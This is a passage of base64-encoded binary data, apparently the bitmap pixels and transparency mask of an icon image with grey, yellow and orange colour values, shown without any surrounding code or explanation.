S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLVwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0sDS0tL1ktLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v0S0tLFt3NbkDdzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1uVUtLSxpLS0v3S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S9VLS0sCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLWktL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLjN3NbgDdzW6+3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbtLdzW4CS0tLkUtLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tLWQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLA0tLS9dLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL9UtL + SxjdzW483c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uVEtLSxpLS0v3S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS9ZLS0sDAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLS1tLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS4/gz28A3c1uut3Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + btLdzW4CS0tLkktLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLWgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSwNLS0vYS0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/ZLS0sZ3c1uOd3Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1uVEtLSxtLS0v3S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS9dLS0sDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0tcS0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0uSAAAAAN3NbrbdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbtHdzW4CS0tLk0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLWwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABLS0sDS0tL2UtLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS9BLS0tsS0tLDd3N + bgHdzW5n3c1us93NbvXdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u+N3NbrvdzW5w3c1uCEtL + Sw1LS0tsS0tL0UtLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS9hLS0sDAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLXUtLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0vyS0tLmktL + SzZLS0sAAAAAAAAAAAAAAAAAAAAAAAAAAADdzW4J3c1uS93NbpbdzW7h3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbubdzW6c3c1uUd3N + bg0AAAAAAAAAAAAAAAAAAAAAAAAAAEtLSwBLS0s2S0tLm0tLS/JLS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tLXAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLBEtLS9pLS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S8lLS0tkS0tLDQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3c1uAd3N + bi/dzW563c1uxt3NbvzdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv3dzW7J3c1uft3N + bjPdzW4CAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0sNS0tLZUtL + S8lLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS9lLS0sDAAAAAAAAAAAAAAAAAAAAAEtLS19LS0v/S0tL/0tL + S/9LS0vuS0tLk0tLSy5LS0sAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADdzW4V3c1uXt3NbqndzW7v3c1u/93Nbv/dzW7w3c1uq93N + bmDdzW4XAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAABLS0sAS0tLL0tLS5NLS0vuS0tL/0tLS/9LS0v/S0tLXgAAAAAAAAAAAAAAAEtL + SwRLS0vbS0tL/ktLS8FLS0tdS0tLCQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3c1uBd3N + bkHdzW5B3c1uBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLCUtLS11LS0vBS0tL/ktL + S9pLS0sEAAAAAAAAAABLS0tKS0tLi0tLSycAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLSyhLS0uLS0tLSQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP// + //////////////////////////////////5//////////D/////////4H/////////gf////////8A// + ///////wD////////+AH////////4Af////////AA////////8AD////////gAH///////+AAf////// + /wAA////////AAD///////4AAH///////gAAf//////8AAA///////wAAD//////+AAAH//////4AAAf + //////gAAB//////8AAAD//////gAAAH/////8AAAAf/////wAAAA/////+AAAAB/////4AAAAH///// + AAAAAP////8AgAAA/////gAAAAB////+AEACAH////wAAAAAP////AAgBAA////4AB/4AB////gAAAAA + H///8AAAAAAP///wAAAAAA///+AAAAAAB///4AAAAAAH///AAAAAAAP//8AAAAAAA///gAAAAAAB//+A + AgAAAAH//wAAAAAAAP//AAQAAAAA//4AAAAAAAB//gAIAAAAAH/8AAAAAAAAP/wAEAAAAAA/+AAAAAAA + AB/4ACAAAAAAH/AAAAAAAAAP8ABAAAAAAA/gAAAAAAAAB+AD8AAAD8AHwA/+AAB/8APAf//gB//+A4H/ + //w///+Bj/////////H/////////////////////KAAAAIAAAAAAAQAAAQAgAAAAAAAAAAEAIy4AACMu + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPBgAAAAAAAAAA0ZdPBgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TwDRl09qAAAAAAAAAADRl09p0ZdPAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPR9GXT6kAAAAAAAAAANGXT6nRl09FAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TwHRl0/K0ZdPqQAAAAAAAAAA0ZdPqdGXT8nRl08BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPUdGXT//Rl0+pAAAAAAAAAADRl0+p0ZdP/9GX + T08AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TwPRl0/T0ZdP/9GXT6kAAAAAAAAAANGXT6nRl0//0ZdP0dGXTwIAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPW9GXT//Rl0//0ZdPqQAAAAAAAAAA0ZdPqdGX + T//Rl0//0ZdPWQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TwXRl0/b0ZdP/9GXT//Rl0+pAAAAAAAAAADRl0+p0ZdP/9GXT//Rl0/Z0ZdPBAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 